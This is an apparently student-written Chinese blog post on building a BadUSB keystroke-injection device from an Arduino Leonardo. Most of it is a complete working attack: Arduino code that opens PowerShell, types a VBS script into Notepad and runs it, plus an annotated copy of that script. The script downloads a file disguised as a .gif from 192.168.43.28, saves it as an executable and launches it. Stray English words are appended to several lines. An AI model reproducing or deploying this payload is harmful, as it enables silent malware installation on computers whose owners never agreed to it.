聽5214說他作不出來本身的免考項目,因而就轉向bof進階,而且成功作出了64位的ROP攻擊......
既然如此,那我就再作一個吧,但都已經期末了,就選擇了一項入手簡單的HID攻擊的東西,就這麼作了一個簡易的HIDAttack,沒有深研究過,確定有不少敘述不周到,作法有問題,還請原諒我這個小caiji。html
我這裏作的HIDAttack選擇的是BadUSB那一項,先簡單介紹一下HID是啥,Human InterfaceDevice,是計算機直接與人交互的設備,例如鍵盤、鼠標等,具體的解釋能夠百度,多得很。這裏能用到的信息就是若是逆向編程使用HID的設備,就能夠實現,隨意變換計算機識別的設備類型。shell
攻擊者在定製攻擊設備時,會向USB設備中置入一個攻擊芯片,此攻擊芯片是一個很是小並且功能完整的單片機開發系統,它的名字叫TEENSY。經過TEENSY你能夠模擬出一個鍵盤和鼠標,當你插入這個定製的USB設備時,電腦會識別爲一個鍵盤,利用設備中的微處理器與存儲空間和編程進去的攻擊代碼,就能夠向主機發送控制命令,從而徹底控制主機,不管自動播放是否開啓,均可以成功。編程
我選擇的USB設備是一塊Arduino板子,是LEORADO型的,其餘的不能用除了Micro型(很小很便宜)的,淘寶上能夠買的到。
bash
這裏咱們跳過Arduino編程和後面將要使用到的powershell編程和VBS編程介紹內容,網上不少不少函數
#include <Keyboard.h> void setup() { delay(3000); Keyboard.begin(); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); Keyboard.releaseAll(); delay(100); Keyboard.println("cmd /c powershell"); delay(100); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(1000); Keyboard.println("notepad "); delay(1000); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_LEFT_SHIFT); delay(1000); Keyboard.println("on error resume next \nSet Post = CreateObject\(\"Msxml2.XMLHTTP\"\)\nSet Shell = CreateObject\(\"Wscript.Shell\"\)\nPost.Open \"GET\",\"http://192.168.43.28/bd5213.gif\",0\nPost.Send\(\)\nSet aGet = CreateObject\(\"ADODB.Stream\"\)\naGet.Mode = 3\naGet.Type = 1\naGet.Open\(\)\naGet.Write\(Post.responseBody\)\naGet.SaveToFile \"d:\\bd5213.exe\",2\nwscript.sleep 1000\nShell.AppActivate \"C:\\Windows\\system32\\CMD.exe\"\nShell.SendKeys \"exit~\"\nShell.Run \(\"d:\\bd5213.exe\"\)"); delay(1000); Keyboard.release(KEY_LEFT_SHIFT); Keyboard.press(KEY_LEFT_CTRL); Keyboard.press('s'); Keyboard.releaseAll(); delay(500); Keyboard.println("bd5213.vbs "); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_F4); Keyboard.releaseAll(); delay(500); Keyboard.println("./bd5213.vbs "); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); } void loop() { // put your main code here, to run repeatedly: }
Arduino的Keyboard模塊編程也就以下這幾個函數oop
#include<Keyboard.h> //包含鍵盤模塊的頭文件 Keyboard.begin(); //開啓鍵盤通訊 Keyboard.press(); //按下某個鍵 Keyboard.release(); //釋放某個鍵 Keyboard.println(); /*輸入某些內容 和一些網上的解釋不一樣 網上解釋是輸入內容而且能回車,而我測試的時候並不能回車 可能和版本有關 不要不要擔憂有辦法回車*/ Keyboard.end(); //結束鍵盤通訊
這裏說一下上面的邏輯,就是先打開運行,而後輸入cmd /c powershell
,即運行powershell,隨後用其打開一個txt文件,向裏面輸入vbs腳本代碼(腳本文件後面具體解釋),鍵入CTRL+S
以bd5213.vbs
保存文件,關閉txt文本窗口,在剛纔的終端裏運行腳本文件。測試
上面的VBS腳本文件,主要是用來下載遠程的惡意程序的並運行的,規範一下寫法ui
on error resume next sET pOST = cREATEoBJECT("mSXML2.xmlhttp") sET sHELL = cREATEoBJECT("wSCRIPT.sHELL") pOST.oPEN "get","HTTP://192.168.43.28/BD5213.GIF",0 pOST.sEND() sET AgET = cREATEoBJECT("adodb.sTREAM") AgET.mODE = 3 AgET.tYPE = 1 AgET.oPEN() AgET.wRITE(pOST.RESPONSEbODY) AgET.sAVEtOfILE "D:\BD5213.EXE",2 WSCRIPT.SLEEP 1000 sHELL.aPPaCTIVATE "c:\wINDOWS\SYSTEM32\cmd.EXE" sHELL.sENDkEYS "EXIT~" sHELL.rUN ("D:\BD5213.EXE")
第一句說的是,若是運行出錯,但不報錯,並繼續往下運行,這樣作的好處是防止運行時出問題,調出一個提示框code
那就有點尷尬了。倒數第三句是將目前桌面焦點放到指定的正在運行的程序上,這裏的目的是爲了關閉不用的終端視頻
完成上述過程後,插入USB便可,我錄了一段視頻,簡單感覺一下粗獷的攻擊方式